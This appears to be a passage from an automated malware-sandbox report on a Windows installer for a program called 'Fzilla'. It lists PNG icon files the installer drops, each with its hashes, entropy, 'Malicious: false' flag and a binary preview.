Wi.....Fo.\!.\)..`.w2y-...&..N'..G..}.-/..Z..<{..G.[.h.......G.E8X\..q..:^<U.2.u.\|....K.s.v_./....s.-s.....{.,....O8XP..R?......>@aU9\|......./.)...y...%W....h..8....Z...Pw}...R~..X\.5..x\|.q.r."...)...R........s....R..Uc.b./.B.5-^..".....I.f#.f..T.TM.Uhq..U.oBx.>....[.P!..J......\.....Q&..V..^..?...L.7....M...H.Xc........e"...~.\.'..W...FFFg..G02B.....?.....ml....To.}.l...D..g.WAA-.@..'w........H#....5F.k{..`..ke..4....m........L......oK,.m-.Y.4......X..X...I$....~...........QLOOcbb..1.L$.7.9.d2...AX,.X.....Id2....A....Am...W.!..V...\..C`e.H..$.F G:.FGG..z=.......'.h4..N.w..P."...s../.\..jM..5..3..Gm.I%.I....d..K..4\|....'.}<n7e.o...n.q:..Z..mi..ZD[......(.............w....H%......r.]........^=[...t"s.,..:...Qo_?z....=.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-M3B5A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	553
Entropy (8bit):	7.469017497439155
Encrypted:	false
SSDEEP:	12:6v/77AYmsxTKWVIRq/KDdH1XLVUkUs8UaagnFh3Y5K2UcSFh0J:qOshiRq/EbLVdUs8UZwh30ZUcSn0J
MD5:	CD61F1D70C3315F0C595624626E30CA1
SHA1:	1C01B45A041E6CD2F12EC421402153129C8AEACD
SHA-256:	3CD8D46168B74069292B4228D030270D3C25556A73BF273F21ED929350A5D100
SHA-512:	06AC117B9C2BCC68F9F1C62E08B71A6BA617F1DC94CCC96BE5C4D270C29E3B85DE8BDB87936E6E55E7E1D50227A837D999A17936BEE16357E50629645449D33E
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx...RSA..qh}.;_.7....,\|....V.g.LB.n..r&. (.d...a4......{..d'.M.?.I.+N.][..r.<6/..g.......Y.....m...f.!.{.mz\0..3zB..'.@.>..M.$=..Z.2aF.\|Ip..t....#~3............(..)7w...$\R9..'..rM..H.>..1..t..Wf....~.7..x.[.#c....J....'l.]..A...r!.Z.....2...=v.... e....i...p.S.}o@Ked.../B..o\|.?`..a.A .......g..rR.gT...a..{fYvM..%k)?).E.$.#. @.b.@.................$Hi..Zf=;H..-...H....],@......R...K.h..pI.......H. s.h.~c#.......).87...L..h.........C.m.2]...!...Gf.<.h.<...Z.......zTf.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-MBODF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2043
Entropy (8bit):	7.8740387624639485
Encrypted:	false
SSDEEP:	48:9Q9CigfeUpYag2d3G8u0xOYg2HgwYiHWz0erv5XFku:GAJpzh3G8u0wYgovverv5X3
MD5:	9602D5D19ECE2ED1E978BF83173CFD5E
SHA1:	87BEC90D2D8C4BEA7AEEFD06F63553786B44E742
SHA-256:	6732D8E506F2763B464B7496DE1F63C91355C230751D603A47B0233065056107
SHA-512:	5BBA6405CA1015385A92A119F2EF579F3FC81A33525F31A15C5DA5DC61E6F39ADD793B71EE8A2C9B0B1FC8CF46D92962D5996F3B7F3FBFBC37023A2525F11C24
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Wil\g.MQ..."%.gl..f.<o.v......{6...i....b'.Z@......QKDQ "E.... ..(BJ.B%.....@B....?PH\|8z..F.k.V.1W:....w.=...~.[...5.iMkZ.v{.d2.K.!fWy~.x.....p.x.x.x..J@.....7<{.x..>.$...........e.<...+....@`.xt.{.6...~..!..t..e6..u...#.m._6).....{W.;og.[.?.0..0....C0.W..l. .a......v.\|...+.'..G^^....}[.g0w...{}[+..m0[.......#...T....\|.Q......0.BCpf.o}{+....\|.E...5..S.$s0{. ..u.#..>Q.69.Mb..x.".sz:d......{......v.=....9.z...vu....0%J..&..............&...d^dP7mV...yh....&P..aq..S....$a.O@/M.+.,3.t(....t.;>.Qx.z(. ?....wE.h.O.!Mb.Z...y..x ..37.6i7.b.XL......n3.oe..a.. J#....p...H..........G'..(v....j.LJ.a.....-...vw.t..XX......n.U....9..s>.,..&.......p.?[...P.7,...].K.O..V......A....z...K.+?.....x....B.. .h.6.~.7...0...o_...,....3....G...K/}...+.E....1...`$.....>M.....,....8..N..#1`..N%.\|."n...n={...\.@.2...(.v.:..`%.k...vlgV...8.....9.E..._.......9`......j.-L.....h...5...#l!.#H.T..-@...M.XT...a.CXzb?3...../.s...a.T.qT..

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-MSJN2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1686
Entropy (8bit):	7.796427098281232
Encrypted:	false
SSDEEP:	48:zFqJ7KXCUe2+K35h1I+CTmWrRgrKkDJ6w2+nxyqbPsZL:A7oV9371IpTmWtgrKo64wsPGL
MD5:	3FC4CB62A7CE4620823A958251A247FB
SHA1:	1C9D9CD7536AC99BE10A330B01B26F92AFC142C9
SHA-256:	641E3AA18B787F745646A8DCC5D127F1CEAC25B3EDD10175FF195E56F4B01B30
SHA-512:	0FF920CE75AFDF4AC2B6A6ED91DC620A4AC2C73BF0DA3C33255C53CF678E674DC20741582457E97E7E956294904162E62CA674F2E1415815A771BE9A12F5B60C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......]IDATx..S.$I...m......m.e.;.m.m..........V.!..?....UFdFVM..........)......h..........5.h........777$....+u..............DFFJBB.....&.......#ag(....p.n.-.../....i8m6....S.\."yyyRZZ.....TRR".........}j(....%--M222............-.....dff.G.$''G...l.p_S.C..<y"..?...\|F...(.P..O.....e+..`Mu..@.Rjj.Jh+...C......\|...:e(...H....a....(.......p.6@RR....S.X.I.......I..X )%"""$<<.L.0!!!...:..........:IM[F...r..5.u....(...d....TRgeeU9.p....&b4...%j0.>B...$....,==]H../.m.p...)((....Z.0^......._.z...8O...Y:.=W.:I.aw...g..mF..y..I...E...`...Hj.......:t..j.JF..Mb.... .1.:..............@.m.....]....s..#.}........#.M+W...p.....+w.A....".........:.c.0b..5.0R..V..Y3......a.Btt.x{{..@.b...R..l.......j...\...Me.@.B.....pe.)S...7m.$.oW._}.U.~'.X..z.-....d.}...?..(#.........s.+.&f..:u..8W..C.......s..T......_.u..."...S./[.L0..,..#..0F.....8.CL..S.a......$8..W.R.jK..>\|....R......^z......!...t.......i...q....6.`Qb..M... 6%

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-MUJ6E.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1827
Entropy (8bit):	7.806449503481178
Encrypted:	false
SSDEEP:	48:A9OCGJ12wFUckS9WqTrEK8DbXYTOAG9pwZTH4pEmi0N7:A9OV/pFUckSE2AKwboOAG9IF10N7
MD5:	E77DD22AE02A04794B54AC7F6756A91C
SHA1:	C6DB35E63CFBBFA9635CFAA8627986AB256F9BC8
SHA-256:	B121263C2E0AD79FCA64F878786984952AB6EB764A3F7ED76D943B8E3026327D
SHA-512:	3B455FA6D818F87D2C4AD8EFEEA9A064D35A7ADAAC2A114B71B91603555C7191C15C139B62C5B4A1F5DDFA0A7525612F807C5A9D117433EBC1DBC4A321059016
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....#.....xf.V..1L.m.6.k...m........<.J.N........9.....&\<.>.JX...&.3.....aa.....K`..z..l....7.......(..}L...[..x.P...K...$m....#"Zy0I. .e.......x 3v....u.KUKd$.d.n.v....}Ou..._.O[._F..El.S.._..3....0........Y....u.P..Xi.q]............f.>...q.........c..V..k.......%..J......4....V..V..B..Wb...........Q...N..c.#..D........wT..M..E..l.....17..6.#.HDlL.........Vh....&>.Mr.K..c..4.#f....Ki.G..........;.\|..]...P..2.8.[.6....G@.</..0.6 .......n$`.....ET"bFL.G`8D..<....C...(P.SD.......d..DgT$mD..C...T[h)...\|l...@#.[9.# ..v,1..".....B ..L...S3".]G,..@..m....J..#..p../...@...J.`.#,.^b~..\8E......d...t..p?..jD....7..8.g....L......p\.u._.e..M.....J(g.v..8..X.I.VAY.du.+7.Qc...N./....npD.Xev;...Rcx.5 ._.q......Z..a.Gx.v..o..x.^.B..5.xUb.VbIo.!.#..........._.p..>..pD5.v.^...8T..0.C..gX......g.~...B._t.z.{...$.x.. ....{..q.....XE......p./.......gz......~..)...Z.r..=\|..{....s..+`..(.....'2.X..h.}@v.`>..C@h.....g`?......!

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-PIV8Q.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	1602
Entropy (8bit):	7.626727499458733
Encrypted:	false
SSDEEP:	48:yDZKtASONmMv9Kredav6s4KPf7bUCe6yZ:yMGdNrl+ecvzLfRpyZ
MD5:	3D417650A2A0D686240CCB6EBE148985
SHA1:	8056F3481FCC03FD1509ECB327E4EA047EE79D94
SHA-256:	50956043E94D8A0320B7D4838149F10C9ECC920AC7998C645E0CCB25B6726546
SHA-512:	8C5F3B44F4E8DA99E0842E195D7245C5705390A36D4A8F3DC2838AC002A5D4F50B061D57152BBA81319C7703FAC9B45260A76466E6B975B6C3276899DE773610
Malicious:	false
Preview:	.PNG........IHDR...0...0.....`.......PLTE................}2.}2.}2..................................................................1~5.u .q....z.\|.j.,\|0/}3.}2.}2......0~4%y).p....s.u.l.0~4.}2.}2....................}2.....................................................................................}2...................................................ttt.........%%%'''...444...@@@SSSVVV...uuu...XXX.......000......$$$gggIIILLL""".........p.rNNN.s.......,}0.t ...333[[[ddd...RRR...###777...............fff...---.q.aaa~~~JJJ...v.xvvv!!!DDD...-}1...222.........EEE....p./}3......**))).................ccc......r.t.p...... zzz...............+\|/>>>...........AAA.....hhh...............v#...-`....<tRNS..........8`S6..O.zqpt...k[b].Z```b...........k....[e.1.p....IDATx^....Z...m_.6.....[k..k.m./{N5..9y...>.NW.#....l.$....x!..@L.!.E`.).;D=V"d...~=TT..ZW...D ..D%.........kN. ....'.q%...."....+..Q"@.j...L...i....".............T....[=...\|..I.@..m..s..\|0\...F7....F^].

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-QT36F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2048
Entropy (8bit):	7.814508932156123
Encrypted:	false
SSDEEP:	48:IM7x4pDbx8i9pQpjFcWQ7ZtlX5Rv6hJ03is3:IMCppNgxcWQ7ZXb6e
MD5:	F96F2A63ECBBE7B9D8809F491FFEB21C
SHA1:	EC7A7B871EEB1A6BCB7D7D232FB13806EAE121CD
SHA-256:	6CDBE398FFF7D2F8F10AF52E949018CB778447872F8C0617D4688D9CD6EA3A55
SHA-512:	2422DE3CB1603259A92251B86F16257758FA9C30528E53984D5667757ACE7BCB51891D9FEA563000FCEC3E1F64F43D266C4205C4911F58D68029FAAFEABE6D23
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...p....Sfff^..2.@...effff..0333g_.e..$...f....'e.........+e..Z[[...K...l'......Z'.........!N..`]...6477....n.w..s!.b7..499.`0.......UU.Y~..###.....0E..........p.ovv.........l.........0M..Lf...SSS..........!..3\|R....p..j.. ..@Q..A6......Pw..@..n7...8.u...V%J$.%A.:%^.).u...,..tz......2.../z.]..........Of.`..K.M.,..Zz.....m....>......@..x.g<...&.b.....6H../e....a.@~R.:..D..\^...>.q.....P^^N.J........F..(.@>.qbbb.333...ZZZ.....rA..'.U..y..+.W...pJ&....(.l....X]].gs..m.bum.kkk....m..!...H.=HE....T&.R..r....p.Mabn....X]Y....:.c+@Z..Z...G.....t........].........R.....0P?$a.g....}#..c.I..n.h.8...n4.H@..n..E.!..(..Ng...M..wt.'<...^.gL..J(.-:..{....])....q...C..-.......`.I.SF>....A..T..8......G>.....M+XZ.#.#..UC<.)..[...:..A.#..3.......T.........7..h..K...?..G..i.............J.i^H...q<.s.M..A..b.EU&zg..T...^....guD$...2q.\|./...7......).X....Y...@...) .....8..4....?...S..........M..o..z.4.....g........vv. ...@......r.;.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-R2AUQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1559
Entropy (8bit):	7.833720117736715
Encrypted:	false
SSDEEP:	24:cDTOZRVH04m+U98esI8HRYhh9nVaaH68QP7FKc0GIrgz0LBVCK4lnMqTNYQ:qCXVH04m+wsYz7at3P7FK1C+qeQ
MD5:	534F1574C5D441E0B5CDBFAA065E0F74
SHA1:	9B6D42683F85D7418624E400F391C3118ECA0384
SHA-256:	56B1CB2C63DE74670DB9D9823E47EBCC99DF8F067BB873D25C615818948CB0F6
SHA-512:	492D49A3AFB365C51CB2E356087C5FD8F6CF4ED318DACD5A4166FDE85534EA6958A42F84E4E671B335ECAAB3C448ED72CC99EBBCB8F99ABE8BBC57DE0BD7B269
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....dY..;...8.'.`..m.m.5.m...n...6.3..g...ae.{.z.../...s../.y.5Z.5...".H>9..$...9.... ..q...XJ..A...RNf.....-.@."..\|H^&..,.:y..(...6.X.3]..D@L....Q.7..@\|\|\|.E....c.........J.H._..........G.P..#E....A.7........!...d..[.n3........:........<.-.A......4..w_A"...................G....q.N..../..5.-...r....L..h.Ol....C..c.JNN......{..=]TTtt...........>(v.Y....=..._cZ.6...O.N.2....'8...c...s.\$.H..x.B...(--EMM....0l.01.kW.xa... .g....:.))).LYY......1.....'......%%%b.+.1c.X".0s.L........j..y.1..M..I.222..........,..E~~....Sb..@c.4!.q~.,..@vv..r...x<..}....B.]..>.......g.;R............h ..2...i.......1......07(........]..h....c8r....>F..4)[.-.....b...)9j.QG.5..E...E.X..fU...._...&.MhZ.3 .l...S..[.........._../n.....b.P..bP.zL)...(~.^X......%&&qG.O/....9N...0..a0 b......?..N.xa...X\.i7.(..EgWB6....h.....F....O..:....\q...{..8....X.;.-...n....$...o.nx..Z...i^.pw..#.W.... b...".........c.r\.......i.;L.`...

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-RHSTL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	863
Entropy (8bit):	7.635125877464344
Encrypted:	false
SSDEEP:	24:+Vl7a8uVEYyO0+W/sWs5XTqtF7Yscjl/7:+VVtsXWhEG7JEZ
MD5:	01468117EF38F6C409E52E6AF4980499
SHA1:	410B3D78F479E5B9AB882B2D4978730CC75D6A1C
SHA-256:	ED4C8B569F8CAD2FF40783F0CE8CE9D9095B1A5E124CB87040131C094B7EDD1B
SHA-512:	3B62E70F2CFBB403CAF1992478EDC8E312C53C50A242A7C6235B35FCBC5339DB9D84ED380A066CB09F268A93752A5BDE9AAD60B9B4AE3F6E684AA2443E356306
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......&IDATx....lt[....l.Q.m...z.m.m..o.?..u..I.l.....#********&.i'.....z...B....C......P....C ....9..y.2.L../.]H.-.aS1.Cy.....A.C.....'a...P.........t.a.......n......XM8. ...(.C..f..!z`..f+2.8...k.;...s..\..$..^:.....(.o.+.~Xq.1....?8............n....Wk...9...T.f..X~.E.Y..Y.K...,.Z...QWm.......T.D,>.5.Q..0...{..K?.=..?..:.FeQ"Jj.q}J2.....vCG....?.0..Q..A..1i...m.W^o,.BA]..)...a!......8....t..O..-:EHb(...P..c.....{.b.XD8o\;...h..c:.#.:.(t.d...d6..E[Yi.g.....x....d........o.\7......,......c....J..h#.........ioI6...L...1",.=.A...;.....B...C..CcK.+.XW......... ,wA.....#h..#...}.c..H................q..L2.n....Y.......7.......q.[..b......'.D.l@<A....D..g....8d....P+.`..xD2 .0.5..d.C..=...I.\......#.p.d.e..W.:.....H&....c@...p.l.6...-.<......u.N..1`K.Y../********..<.....:.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-SLIMU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	451
Entropy (8bit):	7.3373589268551855
Encrypted:	false
SSDEEP:	12:6v/7Na2NyL0hYg8iGUOd7znLUUuUCG09b:RIhY3fXMUzOb
MD5:	B0B42B523CAFE2271473DC75636BAE39
SHA1:	1484FBA89C816D2FB05528FB9913C776B1BE4657
SHA-256:	0F6F8573DF3EADEA51A370F7E014115D6BF128E6D698C2BF197293B203C6F908
SHA-512:	772E98651626A06B887966502C0456A6D67D35713B7D8BBE6C606924AB5670BCB64B3C3B7D73541975EF573F0F8025A6DA226EDBEAC195DBA0ED697FC7085E9B
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx......P....n.vm.m..6.m.k....6..<....d...o./.I.Y.0f.q.....#K`..b.6c....^.. ^.EW..C.p.... .2!.6$..c}.]/q?q..!^..U\|./Qc.<...@..c....!..^..C...}.4<QB...k.Q.....[.....keoV...8%.........>..Vb!..2...W.....m...(...?..xozx=..@.19~../.kj\|_...M./.?>.;...Y.%.4....? ..6\|]6.(...c5Z.O@I[.......p....`1:.t@>.~....GMT.1~.. ...-.=!....p..A...s.;D..6..w .t...........?R2]C.....%...#..7n..OM.r.D.H....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-SOC77.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	837
Entropy (8bit):	7.658948352574359
Encrypted:	false
SSDEEP:	12:6v/7i1Z+zxeHbJ3mlgmuOMZynJkaVCWFr92PpiXypSo/UpV/Q8d0ulXj1am4bp0H:RZWYQmaDCWKPpmypSh/d0sjsbXW
MD5:	63EC3726F1ADB26C70DD1788DA40F5C1
SHA1:	0FC02D0396C296EB23443BC9AD69C587C493076A
SHA-256:	C74257338FBB21A560F1803943C47AAB25A923B9C5B6C06FB323B7674DA82091
SHA-512:	30C690E27C3183B1EFDA94C8A1C56AA88A4D466F784659D716943DAB932B26E54D71BB6E304FA0FE36467E990C7CB71D1DA1907FD599D373622A36DCB5840175
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....]..g?.>.m.h..\I.b;Y.....Ll.^MzONg.c..Q..T=5S...>...c..;v..r..c...%...7.VN.R%.oD6.B..PH6...1..=kcQ.c8Q..u.S.T..:u_...vf.\.w. ...-.\\#M?.V.52.8...N)9OFY..}i....T.Y..x..ga....L#...u.J.v...'....c....,...Upyu_h.(..Oe.E.F..../....p.....WiU..75....OM..#..4~.#.H.a..$\^...n.....U.oMR#.C.@..,.ps......v.....%.H.X.#]..N/..p..N+.qJ..I..H.%..W...VJ(.(..r...d..R.:%.R...!>.R...U...).........R......v.8e...D:.R.O=JT...NS...G.w...ia._#`.T%&..\X.........[.o!\)..r....h),..]. q8....H..g......#y..I.....4._.....L., .!\|.]."%..!..+....".:p.Xx."..F....Nc......E..b,<g.JX^x.....a.....F.E._.<...w....;;e.....{L/....o..=q[.xu........M..z.%.!.?nU..f..G.....).v?../.a...^x.OZxE...&..d.)"e$d.9..x.B\x!^.!..&e..8I.....t&.H....M.l.N.pU'5.9..q...s..;v.........y.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-SU8LT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	1033
Entropy (8bit):	7.768863511317586
Encrypted:	false
SSDEEP:	24:zsDWmHvXFwvk8xE772Kcz00ClXWMbI70vfwC+PNf87GbO7aS1Li21:zsK20BoCv5WI7afw3PNfA31
MD5:	CF0BD15B312DBE7E9EB590C03BE039A0
SHA1:	96A4A1A8504740697D503204E2577DB7CD5648CB
SHA-256:	0C40122279993D27EB44FAB871F1CC3B77DB0C835F414374F721A63930F0682D
SHA-512:	B2790732033CA8974204427872D06D60DF45EF264344F769C37BA4DA0020366FD9F902AA6A9347DE7EE4B9AB72D351D0AFDFFAE82319FC46A89819557FF573C1
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1.....IDATx......u.....9...{...2RJZo.DEz.)F.Ue,.l..j.......D..PC...&h..Ukm..v_......r<..r..`...x._.....;&..~.].......:`Za.....V.-V9bJ.n,5h-^...x.....9..%v..K.\|."...A........${.......~O:....R......r...../.v..$.....!u2~....^\|....=X...oQ.6.....c6h..Leo.....p.gL".7...=..o.........pN0...M.6..:O......N...V.U5_4..a.n....7..S...#..=.....\|lJ...._k....rI).z...W.wDUDA...~.#Y2..h.me..2...dlv.>..+j.5.%QT.WU3..........WA.<......)...2f.h....$...E@.y...Z......4..U4......4n....A..#.f.y^M.N...V0.<.qp.]..h+.~D.r.P...N..4.e5@..9<2tY..\..c....l.(..%z.d..Ds...3.I.&-...@A.[..:..V&P.k.......(}`...2I ...h..Mk..>..z.6./...N.+{\.L.KZr......G...v..'..\|t..5...^yWT...^....._6..OxL.PR..7.a...W..L ...D..{.D.Q@UYKV...94,u..#.......d.;nlv.ol.g........h...T..0.,J}k..!.Z.a...D..\.RSP.ss.Y.a...@7....e..uJ..!s.e=Z.] ..d5..YAb..*...\|...1}VMO.h.QV..:.5Kl..@...~2.......e.%......(d&hS....h.K@...D$..t''. .&..S"....%7e H.....(J.).D(.......i...Q

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-T4NMM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	608
Entropy (8bit):	7.493543787550498
Encrypted:	false
SSDEEP:	12:6v/7g8YqVYA/HgmH5dO+pASZgQOl/wWpC0yvRJlR0aI3HdYLfKec:d/qV7/BemAl/wwCR7S1Hd0fc
MD5:	60D8F0C9D2C780AF9EF8671CEA5B3EF0
SHA1:	6C1EAA0B024C3CF7013F51050766D164018A1E49
SHA-256:	92BC14CCDD53477D0E425845E535265CAA9A17BF520998CA88199EC763EB2FE2
SHA-512:	4BBEB66F3A5BF3188A091465B26189EA5A025731F77B28962001FD944D27B8B5B009A20B5031C08A92388780354E23EEE2D671AB5BE4737303F7A675952D5D59
Malicious:	false
Preview:	.PNG........IHDR...0...0.......1....'IDATX...k.a...w)A....Ap.tPppPpU.q....E.5.5.wTT..A-'I......Vs.1..&...A+N.....A.(..!..r... ..n......N$.p.1.t...q.=......>.3. .}A.G...k....m=.)R8.Q,. ^.......{~.D..A.......l:O. ......q....6...j...V V.6../m.G.nb....no...u...e....st.X.F9s..-..+7..c......f...N...i..{>.<5gX.4].M..3VYa...I.(>9...+..M...`/[Lr.U....E.b..&....Z.s.u.!..0.G...@......M.... .Y.K...Et,P.T..b.5........D.c.-...}:.'h..97$..v....L.9,R.....2.Cdf.C..Z...;R.._... "ru..g....W..b_..g.....m..4.....5hT.......1.N6.6:.a......p.Xm.).8MM.V.6..;..H.._..;W.R.pI......o.....}gD....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-TGISN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	412
Entropy (8bit):	7.233612107216541
Encrypted:	false
SSDEEP:	12:6v/7+0T39vD7StAPw7Z321IZyIlB4dcSNw5kl1r:1C9CtiQi4R4dcOll
MD5:	2EAEFBF6063C014EB0D0CB55DF1F41EC
SHA1:	B2C5571D1BF55786D46C66AF9ED75E0571DB141A
SHA-256:	E52164809B22B8F85F61870873805A7227A4CDDB276987AABB0826361F3A1890
SHA-512:	086A3898C9F0C6D64400DEA3CEB9CA40879EBB71FB9563F253BA56845289EF34AD86A73755C5174ED1D483501C8ECEE27AC2820FB73EFD487C924E5C8FDBE2E6
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......cIDATx.b...v.;.8....^.z.[.f.:N.T...^C.F]P.6...c......I.s.XE%:.k.....Z.?..f,....L..A<.3C......\.+$..F,....2#....A......P.. ...G.......H.djQ..$.r.Y. . >tb..... ~<..../.q.....,...."I...-..v.y....`..-.....;........p.....T.~>..h(.,.oE.^_d{.o..}...=.&..zF..!j.&..z....}.....8..cWEEEEEE%.o.4.b....A?b..P.-.N..b...HR..]<`....(.:.....!!..?Q...h...x...&O.f%}K.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-TPA0I.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.51770585961639
Encrypted:	false
SSDEEP:	12:6v/7kztrNsv1CU2aKA4LEVO/ej3R8NuEeyzfpAJEfhoRlJcLK428eKHp7pl0:DzVNICU2ORu9aGuR4HPeKHpQ
MD5:	77F2114CEE5D114FF955F70100E93E83
SHA1:	A058910F4A48342105660E75D3DA3109E6582085
SHA-256:	7DD19E2D377D47C8F9985E43370DA6AD1A7ABBB26900B3269DBA6511DF518ACB
SHA-512:	DF6C50D9AFD14E145A95DA3C504686CDD1B47DE07CE609D6BBD677CF4D3939A842DFB43B7BAE96A721DFF2D57F00C6FC067582B40209AA1FCCAE559217188AF0
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx.....$M......mcm.m.m.m.m.}.T.....A.'y>N%....K.8q.......F.....X..l.T.... .B...!...R...C$.(.Q..?..........@{.r./!A....U`&.'H.... :.G{.F...o.'..;.C.]..._.3.X..@'d..G.....j6jW.D..uX..........Yv......t.."c.f~....m.\Dm.98...+.8..@4..@.\.3........DG.......eOx._.>.......,...H..R..Zu..&\....(.....:DY..&.......2..\F]..B4.m,P..<A'SW.Q..cc........B..6?....4Q`.DYis.x.....&A..6...Q^....}!.uxm,....DS..@4qC..EL.....i...MW\|a.N...\..\|.J....o.Y.1D...;F...U.5.\.O....D.'....W.OF..]Y.Hl..@-..&..pmu..c.....fS.c..;K.F.,...Bc........n,.6..Q..8...\>..\.(.r..U./p...#.AF\|......".VB.]R....X....N....\|i.!...x.y.G.p......_...P./ Xl....#....z..j!=.W...Q.X....Cx....'N.Dm^....M.4......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\flatzilla\48x48\is-UPU55.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1974
Entropy (8bit):	7.868475812113634
Encrypted:	false
SSDEEP:	48:UtYJOWU1b2plI7+/kiDnd+rJCwaMnvjL1GzfOvEuhFjwHo:UtYJOWsbqlIUkkwvaUvjIysuvp
MD5:	B3777D3E667C0936EF16516DFBEA708D
SHA1:	5F08EF04D7D644EE9A715E2F73ED7FC0D67305CB
SHA-256:	1300799C239A6AABD16B9F91D48E94FD243C0521E504C3408CBA3502825D3DB6
SHA-512:	7231F0602DE9AA8B4EC5E0D31D7CCB106BCD2E8C401155434A5561E60E137E0A21590560967D41E2A56DBAC06BE741F8323E7612742E2DB0D05454FBA7B30B0C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......}IDATx..{PT.....v.i.c..@P.!,h.%."L.."./(..MaY.X..,..EV$.,6J1..\.......F.;a..:..4..[.V..&i..9..,..E....g...{...n.9..5.y.+8...8....JD>....H0{....{.s.Q.._`..gs)yyeR...c.b....l...-.96Wjooo05..]....5.U.3R]U....j.....Yu...U(.+uwu.{z,.o8..8...b....b.DR.....()C.T.Qn6.%bHe.........S.(%..s./.!.=.....M.....I.5.A.q."..E`d<~.......@.....5<..7o.Y..N.7........L......."x.....9...~cSS3.Eo...(.F.Z....L.aaL.rC..'.V2..`.I.... 1...k.P..)...B..@"............9....6.l._.f..'9.../.B.............._-e8.)D.y .~....(.....nM.$?...R...a~.7.h.......4\|..6`..p..........s..z3\|D.\|.....gxk.R.D.......l...p.B.!.+Q......pE..Z.w4DWg...d.Z...J.T....PRZ.]...!.+.A..A.}8.S..\|..pz..),E...).....\..I.@......c..P1{.f6.......p..........wN....jL...,g...[......pi.....AQW.W.k..Ps...s..X..\..c..]f....cbf..w.!>5.#............0....7....X5..G..E...i......D...}g.......f....If.j.^3.eJd.K.S$..WX.Q..rU.b.J.>O...>..U....JX.x.<.E">9./.d....H.......\|.ig.Q'

